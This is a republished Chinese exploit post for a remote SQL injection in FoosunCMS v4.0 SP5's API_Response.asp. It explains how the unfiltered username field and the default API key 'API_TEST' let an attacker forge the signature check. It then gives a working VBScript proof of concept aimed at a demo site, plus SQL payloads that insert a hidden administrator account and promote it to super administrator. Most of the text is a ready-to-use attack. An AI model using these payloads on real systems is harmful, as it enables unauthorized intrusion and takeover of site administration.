| 关键词: username SysKey API Rem ThisCharCode Admin checkname strReturn xPost 代码 |
--==+=================== www.nspcn.org =================+==----==+ FoosunCMS (API_Response.asp) Remote SQL Injection Exploit +==----==+===================================================+==-- #Author: Tr4c3[at]126[dot]com #版权所有: http://www.nspcn.org & [BK瞬间群]#漏洞文件 API/API_Response.asp#影响版本:v4.0 Sp5[其他版本未看]#漏洞原因:变量username未经过滤传值,带入sql执行,导致注入产生。#关键代码: If CheckPost() ThenSelect Case ActCase "checkname" 触发注入Checkname() CheckPost()函数原型在行73-96,username由此获取值,代码如下: XmlDoc.documentElement.selectSingleNode("username") Checkname()函数在行233-254,代码如下: Sub Checkname()Dim UserEmailDim Temp_tr,i,Rs,SqlUserEmail = Trim(XmlDoc.documentElement.selectSingleNode("email").text)If Messenge<>"" Then输出错误信息Status = 1Exit SubEnd IfSql="select UserName,Email From FS_ME_Users where UserName = "& UserName &"" 在此带入sql执行Set Rs = User_Conn.Execute(Sql)If Not Rs.Eof And Not Rs.Bof ThenMessenge = "您填写的用户名已经被注册。"Status = 1Exit SubElseStatus = 0Messenge = "验证通过。"End IfRs.CloseSet Rs = NothingEnd Sub 利用的关键在于让CheckPost()为真,代码如下: Dim NewMd5,OldMd5NewMd5 = Md5(UserName&API_SysKey,16) Const API_SysKey = "API_TEST"OldMd5 = Md5(UserName&API_SysKey,16) If Syskey=NewMd5 or Syskey=OldMd5 ThenCheckPost = TrueElseStatus = 1Messenge = Messenge & "<li>请求数据验证不通过,请与管理员联系。"End If API_SysKey在Api_Config.asp里16行被设置 Const API_SysKey = "API_TEST" 把注入语句 & API_SysKey 进行一次md5加密之后的16位hash,赋值给syskey就可以了。###Poc: Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]comRem 更多信息请关注:Rem 网安阵线 http//www.nspcn.org/Rem web安全手册 http//www.tr4c3.com/Rem BK瞬间[qq群]Rem 转载请保留以上版权Dim strData, strUrl, strGetinfo, xPoststrData = "<body><userip>999.999.999.999</userip><email>[email protected]</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username></username></body>"strUrl = "http//demo.foosun.net/api/API_Response.asp"Set xPost = CreateObject("Microsoft.XMLHTTP")xPost.Open "POST", strUrl, FalsexPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"xPost.SetRequestHeader "Referer", strUrlxPost.send(strData)strGetinfo = xPost.ResponseTextstrGetinfo = bytes2BSTR(xPost.ResponseBody)Wscript.echo(strGetinfo)Wscript.QuitRem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Rem 将返回内容转换成简体中文Function bytes2BSTR(vIn)strReturn = ""For i = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn,i,1))If ThisCharCode < &H80 ThenstrReturn = strReturn & Chr(ThisCharCode)ElseNextCharCode = AscB(MidB(vIn,i+1,1))strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))i = i + 1End IfNextbytes2BSTR = strReturnEnd FunctionRem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Rem ;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(Tr4c3,83aa400af464c76d)-- 添加一个普通管理员Tr4c3,密码12345678Rem ;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=Tr4c3-- 把Tr4c3提升为超级管理员Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 《FoosunCMS Sql Injection Vulnerability》来源于:http://www.wairi.cn/article.asp?id=2562 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|